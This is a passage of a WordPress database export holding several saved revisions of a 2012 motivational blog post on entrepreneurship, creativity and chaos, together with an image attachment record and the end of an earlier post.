comfortable with where you’re at is a good reason to kick back. Indeed, being satisfied with your accomplishments is necessary to enjoy them, just don’t let your satisfaction stop you from learning more, contributing more, creating more.</h2>\r\nThe very nature of the creative process is a non-stop, life-long experience of bringing new ideas to the world to serve people.  This will involve continuously risking aspects of your comfort.\r\n\r\nOnly through your continued growth will you sustain your creative edge in the delicate dance of bringing value to the world and experiencing the fulfillment of knowing your presence makes a difference.', 'Beware of Comfort!', 0, '', 'inherit', 'open', 'open', '', '2074-revision-7', '', '', '2012-05-27 09:00:27', '2012-05-27 16:00:27', '', 2074, 'http://www.whitehotcenter.com/2012/05/2074-revision-7/', 0, 'revision', '', 0),
(2084, 2, '2012-06-14 10:54:51', '2012-06-14 17:54:51', '<img class="alignnone size-full wp-image-2085" title="opportunity from chaos" src="http://whc.fbdev.org/wp-content/uploads/2012/06/storm-at-sea-lorraine-foster.jpg" alt="" width="495" height="298" />\r\n<h1><span style="color: #808080;">Like a raging storm in the open sea, the waves of change come at entrepreneurs from all directions. There is no eye in this perfect storm–no brief moment of calm to prepare for the next big wind to blow your business off course. The sea change is so fast most entrepreneurs can hardly manage the process of learning what’s necessary to keep their ship afloat in all the apparent chaos surrounding them.</span></h1>\r\nFrom the media we hear daily about the dire circumstances facing all of us on the planet. The stubbornly slow global economy, dwindling resources, over population, political uncertainty and global unrest are taking its toll on the collective creativity and resourcefulness necessary for humans to solve the wicked problems we have created in our modern age.\r\n\r\nEverything is different now–profoundly different. Yet it is out of and from chaos and uncertainty that all new order is born. And we are at the beginning of a new order. That’s very good news for creative entrepreneurs willing to view it as such and act accordingly.\r\n\r\n<strong>We’re in this together.</strong>\r\n\r\nRight now many entrepreneurs and solo professionals are connecting the dots between their present circumstances and the bigger, better future they desire to create; between the global picture and their personal circumstances; between individual and collective success. Between the old ways and new creative ideas.\r\n\r\nAs entrepreneurs, we can’t afford to continue to operate on the premise that when one of us wins, another must lose. We need to leave the restrictions of the competitive plane and operate on the creative plane–creating new value rather than competing for the value already created by others. We’re all in this together.\r\n\r\n<strong>“The future ain’t what it used to be”–Yogi Berra.</strong>\r\n\r\nThe future now arrives at an accelerating rate. Products are out-of-date almost before they are fully embraced and established in the marketplace. So are your assumptions, your forecasts, metrics and winning formulas. Everything seems to be moving past the sell-by date just as fast as it’s being created. This pace is the new normal.\r\n\r\nBut as your innovations quickly become out of date, your assessment of the problem is also out of date. What frictions you are facing in your business are evaporating just as fast.\r\n\r\nEmbedded in the accelerated pace, you also have an entirely new world of opportunity and a whole host of new possibilities before you. These waves of opportunity are everywhere, and one doesn’t need to look far to find examples of creative entrepreneurs creating insane value seemingly out of thin air and at lightspeed. Consider this story of creating massive value:\r\n\r\nBack in 2003, Dennis Crowley wanted an easy way to let his friends know what bar he was hanging out in. In those early days, many people were still using pagers and text messaging was in its early phase. Using existing technology and Google Maps, he turned this idea into a business called “Dodgeball”.\r\n\r\nTwo short years later in 2005, Google bought the fledging business for a million bucks. Google had no idea at the time smart phones were eminently on the horizon replacing current SMS services, so they ended up closing Dodgeball. Dennis kept the million bucks still believing in his original idea that people wanted to let their friends know where they are–now using smart phones.\r\n\r\nThe same year Apple launched the iPhone, Dennis launched a new company called “Foursquare”. Two years later Foursquare had 15 million users, 3 million check-ins a day, and now is worth roughly $600 million.\r\n\r\nFacebook, PayPal, Groupon, Living Social all followed a similar path creating unimaginable value out of thin air in unimaginable timeframes. Never before in human history has this occurred.\r\n\r\n<strong>The New Wave</strong>\r\n\r\nIn the industrial age, power laws were based on the power of production. Those with the means to control the production of stuff controlled markets. This was the age of control and competition. The Internet, technology and our global connections have shifted the power of production to the power of the crowd. In other words, customers now have the power buying what they want at the price they want, when they want.\r\n\r\nIt’s no longer about the economies of scale, but the economies of speed. This is the new wave.\r\n\r\nValue is now controlled by the power of the crowd. In the old paradigm, producers created products then went looking for customers. Find a need a fill it no longer works. No one needed an iPhone, but once realized, people couldn''t live without it.\r\n\r\nWhere will this new wave lead?  Seemingly in every industry, customers will increasingly hold the power to set the price of everything from the places they stay to the talent they hire, from the food and cars they buy to the bank fees and mortgage rates they choose. The economies of industries are being turned upside down, and so will the economies of your own business.\r\n\r\nHow customers participate in the shaping of your products and services will make all the difference to their level of acceptance and loyalty. In the age of transparency in which we are now living, customers have the power not the producers.\r\n<h2>We are long past the industrial model of control and conquer to one of attraction and engagement.</h2>\r\nToday it’s commonplace to have homemade videos being viewed by as many people on YouTube as view national cable channels on TV. Ten short years ago, this was the stuff of fantasy. For creative entrepreneurs this is the new golden age!\r\n\r\nThe result and impact of all this “chaos” has led enlightened entrepreneurs to realize they must shift their thinking from selling to contributing value first, then bake the marketing into more social, friendly and “add value first” conversations with customers. Business is now one-to-one, up close and personal, and at long last more human.\r\n\r\n<strong>Out of the chaos of our current circumstances we can rise to a new age of creative prosperity.</strong>', 'Creativity is born out of chaos and uncertainty.', 0, '', 'publish', 'open', 'open', '', 'creativity-is-born-out-of-chaos-and-uncertainty', '', '', '2012-06-14 10:54:51', '2012-06-14 17:54:51', '', 0, 'http://www.whitehotcenter.com/?p=2084', 0, 'post', '', 1),
(2085, 2, '2012-06-14 09:53:27', '2012-06-14 16:53:27', '', 'opportunity from chaos', 0, '', 'inherit', 'open', 'open', '', 'storm-at-sea-lorraine-foster', '', '', '2012-06-14 09:53:27', '2012-06-14 16:53:27', '', 2084, 'http://www.whitehotcenter.com/wp-content/uploads/2012/06/storm-at-sea-lorraine-foster.jpg', 0, 'attachment', 'image/jpeg', 0),
(2091, 2, '2012-06-14 10:45:25', '2012-06-14 17:45:25', '<img class="alignnone size-full wp-image-2085" title="opportunity from chaos" src="http://whc.fbdev.org/wp-content/uploads/2012/06/storm-at-sea-lorraine-foster.jpg" alt="" width="495" height="298" />\n<h1><span style="color: #808080;">Like a raging storm in the open sea, the waves of change come at entrepreneurs from all directions. There is no eye in this perfect storm–no brief moment of calm to prepare for the next big wind to blow your business off course. The sea change is so fast most entrepreneurs can hardly manage the process of learning what’s necessary to keep their ship afloat in all the apparent chaos surrounding them.</span></h1>\nFrom the media we hear daily about the dire circumstances facing all of us on the planet. The stubbornly slow global economy, dwindling resources, over population, political uncertainty and global unrest are taking its toll on the collective creativity and resourcefulness necessary for humans to solve the wicked problems we have created in our modern age.\n\nEverything is different now–profoundly different. Yet it is out of and from chaos and uncertainty that all new order is born. And we are at the beginning of a new order. That’s very good news for creative entrepreneurs willing to view it as such and act accordingly.\n\n<strong>We’re in this together.</strong>\n\nRight now many entrepreneurs and solo professionals are connecting the dots between their present circumstances and the bigger, better future they desire to create; between the global picture and their personal circumstances; between individual and collective success. Between the old ways and new creative ideas.\n\nAs entrepreneurs, we can’t afford to continue to operate on the premise that when one of us wins, another must lose. We need to leave the restrictions of the competitive plane and operate on the creative plane–creating new value rather than competing for the value already created by others. We’re all in this together.\n\n<strong>“The future ain’t what it used to be”–Yogi Berra.</strong>\n\nThe future now arrives at an accelerating rate. Products are out-of-date almost before they are fully embraced and established in the marketplace. So are your assumptions, your forecasts, metrics and winning formulas. Everything seems to be moving past the sell-by date just as fast as it’s being created. This pace is the new normal.\n\nBut as your innovations quickly become out of date, your assessment of the problem is also out of date. What frictions you are facing in your business are evaporating just as fast.\n\nEmbedded in the accelerated pace, you also have an entirely new world of opportunity and a whole host of new possibilities before you. These waves of opportunity are everywhere, and one doesn’t need to look far to find examples of creative entrepreneurs creating insane value seemingly out of thin air and at lightspeed. Consider this story of creating massive value:\n\nBack in 2003, Dennis Crowley wanted an easy way to let his friends know what bar he was hanging out in. In those early days, many people were still using pagers and text messaging was in its early phase. Using existing technology and Google Maps, he turned this idea into a business called “Dodgeball”.\n\nTwo short years later in 2005, Google bought the fledging business for a million bucks. Google had no idea at the time smart phones were eminently on the horizon replacing current SMS services, so they ended up closing Dodgeball. Dennis kept the million bucks still believing in his original idea that people wanted to let their friends know where they are–now using smart phones.\n\nThe same year Apple launched the iPhone, Dennis launched a new company called “Foursquare”. Two years later Foursquare had 15 million users, 3 million check-ins a day, and now is worth roughly $600 million.\n\nFacebook, PayPal, Groupon, Living Social all followed a similar path creating unimaginable value out of thin air in unimaginable timeframes. Never before in human history has this occurred.\n\n<strong>The New Wave</strong>\n\nIn the industrial age, power laws were based on the power of production. Those with the means to control the production of stuff controlled markets. This was the age of control and competition. The Internet, technology and our global connections have shifted the power of production to the power of the crowd. In other words, customers now have the power buying what they want at the price they want, when they want.\n\nIt’s no longer about the economies of scale, but the economies of speed. This is the new wave.\n\nValue is now controlled by the power of the crowd. In the old paradigm, producers created products then went looking for customers. Find a need a fill it no longer works. No one needed an iPhone, but once realized, people couldn''t live without it.\n\nWhere will this new wave lead?  Seemingly in every industry, customers will increasingly hold the power to set the price of everything from the places they stay to the talent they hire, from the food and cars they buy to the bank fees and mortgage rates they choose. The economies of industries are being turned upside down, and so will the economies of your own business.\n\nHow customers participate in the shaping of your products and services will make all the difference to their level of acceptance and loyalty. In the age of transparency in which we are now living, customers have the power not the producers.\n<h2>We are long past the industrial model of control and conquer to one of attraction and engagement.</h2>\nToday it’s commonplace to have homemade videos being viewed by as many people on YouTube as view national cable channels on TV. Ten short years ago, this was the stuff of fantasy. For creative entrepreneurs this is the new golden age!\n\nThe result and impact of all this “chaos” has led enlightened entrepreneurs to realize they must shift their thinking from selling to contributing value first, then bake the marketing into more social, friendly and “add value first” conversations with customers. Business is now one-to-one, up close and personal, and at long last more human.\n\n<strong>Out of the chaos of our current circumstances we can rise to a new age of creative prosperity.</strong>', 'Creativity is born out of chaos and uncertainty.', 0, '', 'inherit', 'open', 'open', '', '2084-revision-6', '', '', '2012-06-14 10:45:25', '2012-06-14 17:45:25', '', 2084, 'http://www.whitehotcenter.com/2012/06/2084-revision-6/', 0, 'revision', '', 0);
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(2086, 2, '2012-06-14 10:06:55', '2012-06-14 17:06:55', '<img class="alignnone size-full wp-image-2085" title="opportunity from chaos" src="http://whc.fbdev.org/wp-content/uploads/2012/06/storm-at-sea-lorraine-foster.jpg" alt="" width="495" height="298" />\n<h1><span style="color: #808080;">Like a raging storm in the open sea, the waves of change come at entrepreneurs from all directions. There is no eye in this perfect storm–no brief moment of calm to prepare for the next big wind to blow your business off course. The sea change is so fast most entrepreneurs can hardly manage the process of learning what’s necessary to keep their ship afloat in all the apparent chaos surrounding them.</span></h1>\nFrom the media we hear daily about the dire circumstances facing all of us on the planet. The stubbornly slow global economy, dwindling resources, over population, political uncertainty and global unrest are taking its toll on the collective creativity and resourcefulness necessary for humans to solve the wicked problems we have created in our modern age.\n\nEverything is different now–profoundly different. Yet it is out of and from chaos and uncertainty that all new order is born. And we are at the beginning of a new order. That’s very good news for creative entrepreneurs willing to view it as such and act accordingly.\n\n<strong>We’re in this together.</strong>\n\nRight now many entrepreneurs and solo professionals are connecting the dots between their present circumstances and the bigger, better future they desire to create; between the global picture and their personal circumstances; between individual and collective success. Between the old ways and new creative ideas. We’re all in this together.\n\nAs entrepreneurs, we can’t afford to continue to operate on the premise that when one of us wins, another must lose. We need to leave the restrictions of the competitive plane and operate on the creative plane–creating new value rather than competing for the value already created by others.\n\n<strong>“The future ain’t what it used to be”–Yogi Berra.</strong>\n\nThe future now arrives at an accelerating rate. Products are out-of-date almost before they are fully embraced and established in the marketplace. So are your assumptions, your forecasts, metrics and winning formulas. Everything seems to be moving past the sell-by date just as fast as it’s being created. This pace is the new normal.\n\nBut as your innovations quickly become out of date, your assessment of the problem is also out of date. What frictions you are facing in your business are evaporating just as fast.\n\nEmbedded in the accelerated pace, you also have an entirely new world of opportunity and a whole host of new possibilities before you. These waves of opportunity are everywhere, and one doesn’t need to look far to find examples of creative entrepreneurs creating insane value seemingly out of thin air and at lightspeed. Consider this story of creating massive value:\n\nBack in 2003, Dennis Crowley wanted an easy way to let his friends know what bar he was hanging out in. In those early days, many people were still using pagers and text messaging was in its early phase. Using existing technology and Google Maps, he turned this idea into a business called “Dodgeball”.\n\nTwo short years later in 2005, Google bought the fledging business for a million bucks. Google had no idea at the time smart phones were eminently on the horizon replacing current SMS services, so they ended up closing Dodgeball. Dennis kept the million bucks still believing in his original idea that people wanted to let their friends know where they are–now using smart phones.\n\nThe same year Apple launched the iPhone, Dennis launched a new company called “Foursquare”. Two years later Foursquare had 15 million users, 3 million check-ins a day, and now is worth roughly $600 million.\n\nFacebook, PayPal, Groupon, Living Social all followed a similar path creating unimaginable value out of thin air in unimaginable timeframes. Never before in human history has this occurred.\n\n<strong>The New Wave</strong>\n\nIn the industrial age, power laws were based on the power of production. Those with the means to control the production of stuff controlled markets. This was the age of control and competition. The Internet, technology and our global connections have shifted the power of production to the power of crowd. In other words, customers now have the power buying what they want at the price they want.\n\nIt’s no longer about the economies of scale, but the economies of speed. Producers now match what consumers are willing to pay rather than forcing consumers to pay the price set by producers. Value is now controlled by the power of the crowd. This is the new wave. In the old paradigm, producers created products then went looking for customers. Find a need a fill it no longer works. No one needed an iPhone, but once realized, people can''t live without it.\n\nWhere will this new wave lead?  Seemingly in every industry, customers will increasingly hold the power to set the price of everything from the places they stay to the talent they hire, from the food and cars they buy to the bank fees and mortgage rates they choose. The economies of industries are being turned upside down, and so will the economies of your own business.\n\nHow customers participate in the shaping of your products and services will make all the difference to their level of acceptance and loyalty. In the age of transparency in which we are now living, customers have the power not the producers. We are long past the industrial model of control and conquer to one of attraction and engagement. Today it’s commonplace to have homemade videos being viewed by as many people on YouTube as view national cable channels on TV. Ten short years ago, this was the stuff of fantasy. For creative entrepreneurs this is the new golden age!\n\nThe result and impact of all this “chaos” has led enlightened entrepreneurs to realize they must shift their thinking from selling to listening, then bake the marketing into more social, friendly and “add value first” conversations with customers. Business now must be one-to-one, up close and personal, and at long last more human.\n\nOut of the chaos of our current circumstances we can rise to a new age of creative prosperity.', 'Creativity is born out of chaos and uncertainty.', 0, '', 'inherit', 'open', 'open', '', '2084-revision', '', '', '2012-06-14 10:06:55', '2012-06-14 17:06:55', '', 2084, 'http://www.whitehotcenter.com/2012/06/2084-revision/', 0, 'revision', '', 0),
(2089, 2, '2012-06-14 10:15:57', '2012-06-14 17:15:57', '<img class="alignnone size-full wp-image-2085" title="opportunity from chaos" src="http://whc.fbdev.org/wp-content/uploads/2012/06/storm-at-sea-lorraine-foster.jpg" alt="" width="495" height="298" />\r\n<h1><span style="color: #808080;">Like a raging storm in the open sea, the waves of change come at entrepreneurs from all directions. There is no eye in this perfect storm–no brief moment of calm to prepare for the next big wind to blow your business off course. The sea change is so fast most entrepreneurs can hardly manage the process of learning what’s necessary to keep their ship afloat in all the apparent chaos surrounding them.</span></h1>\r\nFrom the media we hear daily about the dire circumstances facing all of us on the planet. The stubbornly slow global economy, dwindling resources, over population, political uncertainty and global unrest are taking its toll on the collective creativity and resourcefulness necessary for humans to solve the wicked problems we have created in our modern age.\r\n\r\nEverything is different now–profoundly different. Yet it is out of and from chaos and uncertainty that all new order is born. And we are at the beginning of a new order. That’s very good news for creative entrepreneurs willing to view it as such and act accordingly.\r\n\r\n<strong>We’re in this together.</strong>\r\n\r\nRight now many entrepreneurs and solo professionals are connecting the dots between their present circumstances and the bigger, better future they desire to create; between the global picture and their personal circumstances; between individual and collective success. Between the old ways and new creative ideas. We’re all in this together.\r\n\r\nAs entrepreneurs, we can’t afford to continue to operate on the premise that when one of us wins, another must lose. We need to leave the restrictions of the competitive plane and operate on the creative plane–creating new value rather than competing for the value already created by others.\r\n\r\n<strong>“The future ain’t what it used to be”–Yogi Berra.</strong>\r\n\r\nThe future now arrives at an accelerating rate. Products are out-of-date almost before they are fully embraced and established in the marketplace. So are your assumptions, your forecasts, metrics and winning formulas. Everything seems to be moving past the sell-by date just as fast as it’s being created. This pace is the new normal.\r\n\r\nBut as your innovations quickly become out of date, your assessment of the problem is also out of date. What frictions you are facing in your business are evaporating just as fast.\r\n\r\nEmbedded in the accelerated pace, you also have an entirely new world of opportunity and a whole host of new possibilities before you. These waves of opportunity are everywhere, and one doesn’t need to look far to find examples of creative entrepreneurs creating insane value seemingly out of thin air and at lightspeed. Consider this story of creating massive value:\r\n\r\nBack in 2003, Dennis Crowley wanted an easy way to let his friends know what bar he was hanging out in. In those early days, many people were still using pagers and text messaging was in its early phase. Using existing technology and Google Maps, he turned this idea into a business called “Dodgeball”.\r\n\r\nTwo short years later in 2005, Google bought the fledging business for a million bucks. Google had no idea at the time smart phones were eminently on the horizon replacing current SMS services, so they ended up closing Dodgeball. Dennis kept the million bucks still believing in his original idea that people wanted to let their friends know where they are–now using smart phones.\r\n\r\nThe same year Apple launched the iPhone, Dennis launched a new company called “Foursquare”. Two years later Foursquare had 15 million users, 3 million check-ins a day, and now is worth roughly $600 million.\r\n\r\nFacebook, PayPal, Groupon, Living Social all followed a similar path creating unimaginable value out of thin air in unimaginable timeframes. Never before in human history has this occurred.\r\n\r\n<strong>The New Wave</strong>\r\n\r\nIn the industrial age, power laws were based on the power of production. Those with the means to control the production of stuff controlled markets. This was the age of control and competition. The Internet, technology and our global connections have shifted the power of production to the power of the crowd. In other words, customers now have the power buying what they want at the price they want, when they want.\r\n\r\nIt’s no longer about the economies of scale, but the economies of speed. This is the new wave.\r\n\r\nValue is now controlled by the power of the crowd. In the old paradigm, producers created products then went looking for customers. Find a need a fill it no longer works. No one needed an iPhone, but once realized, people couldn''t live without it.\r\n\r\nWhere will this new wave lead?  Seemingly in every industry, customers will increasingly hold the power to set the price of everything from the places they stay to the talent they hire, from the food and cars they buy to the bank fees and mortgage rates they choose. The economies of industries are being turned upside down, and so will the economies of your own business.\r\n\r\nHow customers participate in the shaping of your products and services will make all the difference to their level of acceptance and loyalty. In the age of transparency in which we are now living, customers have the power not the producers. We are long past the industrial model of control and conquer to one of attraction and engagement. Today it’s commonplace to have homemade videos being viewed by as many people on YouTube as view national cable channels on TV. Ten short years ago, this was the stuff of fantasy. For creative entrepreneurs this is the new golden age!\r\n\r\nThe result and impact of all this “chaos” has led enlightened entrepreneurs to realize they must shift their thinking from selling to contributing value first, then bake the marketing into more social, friendly and “add value first” conversations with customers. Business is now one-to-one, up close and personal, and at long last more human.\r\n\r\n<strong>Out of the chaos of our current circumstances we can rise to a new age of creative prosperity.</strong>', 'Creativity is born out of chaos and uncertainty.', 0, '', 'inherit', 'open', 'open', '', '2084-revision-4', '', '', '2012-06-14 10:15:57', '2012-06-14 17:15:57', '', 2084, 'http://www.whitehotcenter.com/2012/06/2084-revision-4/', 0, 'revision', '', 0),
(2087, 2, '2012-06-14 10:07:17', '2012-06-14 17:07:17', '<img class="alignnone size-full wp-image-2085" title="opportunity from chaos" src="http://whc.fbdev.org/wp-content/uploads/2012/06/storm-at-sea-lorraine-foster.jpg" alt="" width="495" height="298" />\r\n<h1><span style="color: #808080;">Like a raging storm in the open sea, the waves of change come at entrepreneurs from all directions. There is no eye in this perfect storm–no brief moment of calm to prepare for the next big wind to blow your business off course. The sea change is so fast most entrepreneurs can hardly manage the process of learning what’s necessary to keep their ship afloat in all the apparent chaos surrounding them.</span></h1>\r\nFrom the media we hear daily about the dire circumstances facing all of us on the planet. The stubbornly slow global economy, dwindling resources, over population, political uncertainty and global unrest are taking its toll on the collective creativity and resourcefulness necessary for humans to solve the wicked problems we have created in our modern age.\r\n\r\nEverything is different now–profoundly different. Yet it is out of and from chaos and uncertainty that all new order is born. And we are at the beginning of a new order. That’s very good news for creative entrepreneurs willing to view it as such and act accordingly.\r\n\r\n<strong>We’re in this together.</strong>\r\n\r\nRight now many entrepreneurs and solo professionals are connecting the dots between their present circumstances and the bigger, better future they desire to create; between the global picture and their personal circumstances; between individual and collective success. Between the old ways and new creative ideas. We’re all in this together.\r\n\r\nAs entrepreneurs, we can’t afford to continue to operate on the premise that when one of us wins, another must lose. We need to leave the restrictions of the competitive plane and operate on the creative plane–creating new value rather than competing for the value already created by others.\r\n\r\n<strong>“The future ain’t what it used to be”–Yogi Berra.</strong>\r\n\r\nThe future now arrives at an accelerating rate. Products are out-of-date almost before they are fully embraced and established in the marketplace. So are your assumptions, your forecasts, metrics and winning formulas. Everything seems to be moving past the sell-by date just as fast as it’s being created. This pace is the new normal.\r\n\r\nBut as your innovations quickly become out of date, your assessment of the problem is also out of date. What frictions you are facing in your business are evaporating just as fast.\r\n\r\nEmbedded in the accelerated pace, you also have an entirely new world of opportunity and a whole host of new possibilities before you. These waves of opportunity are everywhere, and one doesn’t need to look far to find examples of creative entrepreneurs creating insane value seemingly out of thin air and at lightspeed. Consider this story of creating massive value:\r\n\r\nBack in 2003, Dennis Crowley wanted an easy way to let his friends know what bar he was hanging out in. In those early days, many people were still using pagers and text messaging was in its early phase. Using existing technology and Google Maps, he turned this idea into a business called “Dodgeball”.\r\n\r\nTwo short years later in 2005, Google bought the fledging business for a million bucks. Google had no idea at the time smart phones were eminently on the horizon replacing current SMS services, so they ended up closing Dodgeball. Dennis kept the million bucks still believing in his original idea that people wanted to let their friends know where they are–now using smart phones.\r\n\r\nThe same year Apple launched the iPhone, Dennis launched a new company called “Foursquare”. Two years later Foursquare had 15 million users, 3 million check-ins a day, and now is worth roughly $600 million.\r\n\r\nFacebook, PayPal, Groupon, Living Social all followed a similar path creating unimaginable value out of thin air in unimaginable timeframes. Never before in human history has this occurred.\r\n\r\n<strong>The New Wave</strong>\r\n\r\nIn the industrial age, power laws were based on the power of production. Those with the means to control the production of stuff controlled markets. This was the age of control and competition. The Internet, technology and our global connections have shifted the power of production to the power of crowd. In other words, customers now have the power buying what they want at the price they want.\r\n\r\nIt’s no longer about the economies of scale, but the economies of speed. Producers now match what consumers are willing to pay rather than forcing consumers to pay the price set by producers. Value is now controlled by the power of the crowd. This is the new wave. In the old paradigm, producers created products then went looking for customers. Find a need a fill it no longer works. No one needed an iPhone, but once realized, people can''t live without it.\r\n\r\nWhere will this new wave lead?  Seemingly in every industry, customers will increasingly hold the power to set the price of everything from the places they stay to the talent they hire, from the food and cars they buy to the bank fees and mortgage rates they choose. The economies of industries are being turned upside down, and so will the economies of your own business.\r\n\r\nHow customers participate in the shaping of your products and services will make all the difference to their level of acceptance and loyalty. In the age of transparency in which we are now living, customers have the power not the producers. We are long past the industrial model of control and conquer to one of attraction and engagement. Today it’s commonplace to have homemade videos being viewed by as many people on YouTube as view national cable channels on TV. Ten short years ago, this was the stuff of fantasy. For creative entrepreneurs this is the new golden age!\r\n\r\nThe result and impact of all this “chaos” has led enlightened entrepreneurs to realize they must shift their thinking from selling to listening, then bake the marketing into more social, friendly and “add value first” conversations with customers. Business now must be one-to-one, up close and personal, and at long last more human.\r\n\r\nOut of the chaos of our current circumstances we can rise to a new age of creative prosperity.', 'Creativity is born out of chaos and uncertainty.', 0, '', 'inherit', 'open', 'open', '', '2084-revision-2', '', '', '2012-06-14 10:07:17', '2012-06-14 17:07:17', '', 2084, 'http://www.whitehotcenter.com/2012/06/2084-revision-2/', 0, 'revision', '', 0),
(2088, 2, '2012-06-14 10:07:26', '2012-06-14 17:07:26', '<img class="alignnone size-full wp-image-2085" title="opportunity from chaos" src="http://whc.fbdev.org/wp-content/uploads/2012/06/storm-at-sea-lorraine-foster.jpg" alt="" width="495" height="298" />\r\n<h1><span style="color: #808080;">Like a raging storm in the open sea, the waves of change come at entrepreneurs from all directions. There is no eye in this perfect storm–no brief moment of calm to prepare for the next big wind to blow your business off course. The sea change is so fast most entrepreneurs can hardly manage the process of learning what’s necessary to keep their ship afloat in all the apparent chaos surrounding them.</span></h1>\r\nFrom the media we hear daily about the dire circumstances facing all of us on the planet. The stubbornly slow global economy, dwindling resources, over population, political uncertainty and global unrest are taking its toll on the collective creativity and resourcefulness necessary for humans to solve the wicked problems we have created in our modern age.\r\n\r\nEverything is different now–profoundly different. Yet it is out of and from chaos and uncertainty that all new order is born. And we are at the beginning of a new order. That’s very good news for creative entrepreneurs willing to view it as such and act accordingly.\r\n\r\n<strong>We’re in this together.</strong>\r\n\r\nRight now many entrepreneurs and solo professionals are connecting the dots between their present circumstances and the bigger, better future they desire to create; between the global picture and their personal circumstances; between individual and collective success. Between the old ways and new creative ideas. We’re all in this together.\r\n\r\nAs entrepreneurs, we can’t afford to continue to operate on the premise that when one of us wins, another must lose. We need to leave the restrictions of the competitive plane and operate on the creative plane–creating new value rather than competing for the value already created by others.\r\n\r\n<strong>“The future ain’t what it used to be”–Yogi Berra.</strong>\r\n\r\nThe future now arrives at an accelerating rate. Products are out-of-date almost before they are fully embraced and established in the marketplace. So are your assumptions, your forecasts, metrics and winning formulas. Everything seems to be moving past the sell-by date just as fast as it’s being created. This pace is the new normal.\r\n\r\nBut as your innovations quickly become out of date, your assessment of the problem is also out of date. What frictions you are facing in your business are evaporating just as fast.\r\n\r\nEmbedded in the accelerated pace, you also have an entirely new world of opportunity and a whole host of new possibilities before you. These waves of opportunity are everywhere, and one doesn’t need to look far to find examples of creative entrepreneurs creating insane value seemingly out of thin air and at lightspeed. Consider this story of creating massive value:\r\n\r\nBack in 2003, Dennis Crowley wanted an easy way to let his friends know what bar he was hanging out in. In those early days, many people were still using pagers and text messaging was in its early phase. Using existing technology and Google Maps, he turned this idea into a business called “Dodgeball”.\r\n\r\nTwo short years later in 2005, Google bought the fledging business for a million bucks. Google had no idea at the time smart phones were eminently on the horizon replacing current SMS services, so they ended up closing Dodgeball. Dennis kept the million bucks still believing in his original idea that people wanted to let their friends know where they are–now using smart phones.\r\n\r\nThe same year Apple launched the iPhone, Dennis launched a new company called “Foursquare”. Two years later Foursquare had 15 million users, 3 million check-ins a day, and now is worth roughly $600 million.\r\n\r\nFacebook, PayPal, Groupon, Living Social all followed a similar path creating unimaginable value out of thin air in unimaginable timeframes. Never before in human history has this occurred.\r\n\r\n<strong>The New Wave</strong>\r\n\r\nIn the industrial age, power laws were based on the power of production. Those with the means to control the production of stuff controlled markets. This was the age of control and competition. The Internet, technology and our global connections have shifted the power of production to the power of crowd. In other words, customers now have the power buying what they want at the price they want.\r\n\r\nIt’s no longer about the economies of scale, but the economies of speed. Producers now match what consumers are willing to pay rather than forcing consumers to pay the price set by producers. Value is now controlled by the power of the crowd. This is the new wave. In the old paradigm, producers created products then went looking for customers. Find a need a fill it no longer works. No one needed an iPhone, but once realized, people can''t live without it.\r\n\r\nWhere will this new wave lead?  Seemingly in every industry, customers will increasingly hold the power to set the price of everything from the places they stay to the talent they hire, from the food and cars they buy to the bank fees and mortgage rates they choose. The economies of industries are being turned upside down, and so will the economies of your own business.\r\n\r\nHow customers participate in the shaping of your products and services will make all the difference to their level of acceptance and loyalty. In the age of transparency in which we are now living, customers have the power not the producers. We are long past the industrial model of control and conquer to one of attraction and engagement. Today it’s commonplace to have homemade videos being viewed by as many people on YouTube as view national cable channels on TV. Ten short years ago, this was the stuff of fantasy. For creative entrepreneurs this is the new golden age!\r\n\r\nThe result and impact of all this “chaos” has led enlightened entrepreneurs to realize they must shift their thinking from selling to listening, then bake the marketing into more social, friendly and “add value first” conversations with customers. Business now must be one-to-one, up close and personal, and at long last more human.\r\n\r\nOut of the chaos of our current circumstances we can rise to a new age of creative prosperity.', 'Creativity is born out of chaos and uncertainty.', 0, '', 'inherit', 'open', 'open', '', '2084-revision-3', '', '', '2012-06-14 10:07:26', '2012-06-14 17:07:26', '', 2084, 'http://www.whitehotcenter.com/2012/06/2084-revision-3/', 0, 'revision', '', 0),
(2090, 2, '2012-06-14 10:16:39', '2012-06-14 17:16:39', '<img class="alignnone size-full wp-image-2085" title="opportunity from chaos" src="http://whc.fbdev.org/wp-content/uploads/2012/06/storm-at-sea-lorraine-foster.jpg" alt="" width="495" height="298" />\r\n<h1><span style="color: #808080;">Like a raging storm in the open sea, the waves of change come at entrepreneurs from all directions. There is no eye in this perfect storm–no brief moment of calm to prepare for the next big wind to blow your business off course. The sea change is so fast most entrepreneurs can hardly manage the process of learning what’s necessary to keep their ship afloat in all the apparent chaos surrounding them.</span></h1>\r\nFrom the media we hear daily about the dire circumstances facing all of us on the planet. The stubbornly slow global economy, dwindling resources, over population, political uncertainty and global unrest are taking its toll on the collective creativity and resourcefulness necessary for humans to solve the wicked problems we have created in our modern age.\r\n\r\nEverything is different now–profoundly different. Yet it is out of and from chaos and uncertainty that all new order is born. And we are at the beginning of a new order. That’s very good news for creative entrepreneurs willing to view it as such and act accordingly.\r\n\r\n<strong>We’re in this together.</strong>\r\n\r\nRight now many entrepreneurs and solo professionals are connecting the dots between their present circumstances and the bigger, better future they desire to create; between the global picture and their personal circumstances; between individual and collective success. Between the old ways and new creative ideas. We’re all in this together.\r\n\r\nAs entrepreneurs, we can’t afford to continue to operate on the premise that when one of us wins, another must lose. We need to leave the restrictions of the competitive plane and operate on the creative plane–creating new value rather than competing for the value already created by others.\r\n\r\n<strong>“The future ain’t what it used to be”–Yogi Berra.</strong>\r\n\r\nThe future now arrives at an accelerating rate. Products are out-of-date almost before they are fully embraced and established in the marketplace. So are your assumptions, your forecasts, metrics and winning formulas. Everything seems to be moving past the sell-by date just as fast as it’s being created. This pace is the new normal.\r\n\r\nBut as your innovations quickly become out of date, your assessment of the problem is also out of date. What frictions you are facing in your business are evaporating just as fast.\r\n\r\nEmbedded in the accelerated pace, you also have an entirely new world of opportunity and a whole host of new possibilities before you. These waves of opportunity are everywhere, and one doesn’t need to look far to find examples of creative entrepreneurs creating insane value seemingly out of thin air and at lightspeed. Consider this story of creating massive value:\r\n\r\nBack in 2003, Dennis Crowley wanted an easy way to let his friends know what bar he was hanging out in. In those early days, many people were still using pagers and text messaging was in its early phase. Using existing technology and Google Maps, he turned this idea into a business called “Dodgeball”.\r\n\r\nTwo short years later in 2005, Google bought the fledging business for a million bucks. Google had no idea at the time smart phones were eminently on the horizon replacing current SMS services, so they ended up closing Dodgeball. Dennis kept the million bucks still believing in his original idea that people wanted to let their friends know where they are–now using smart phones.\r\n\r\nThe same year Apple launched the iPhone, Dennis launched a new company called 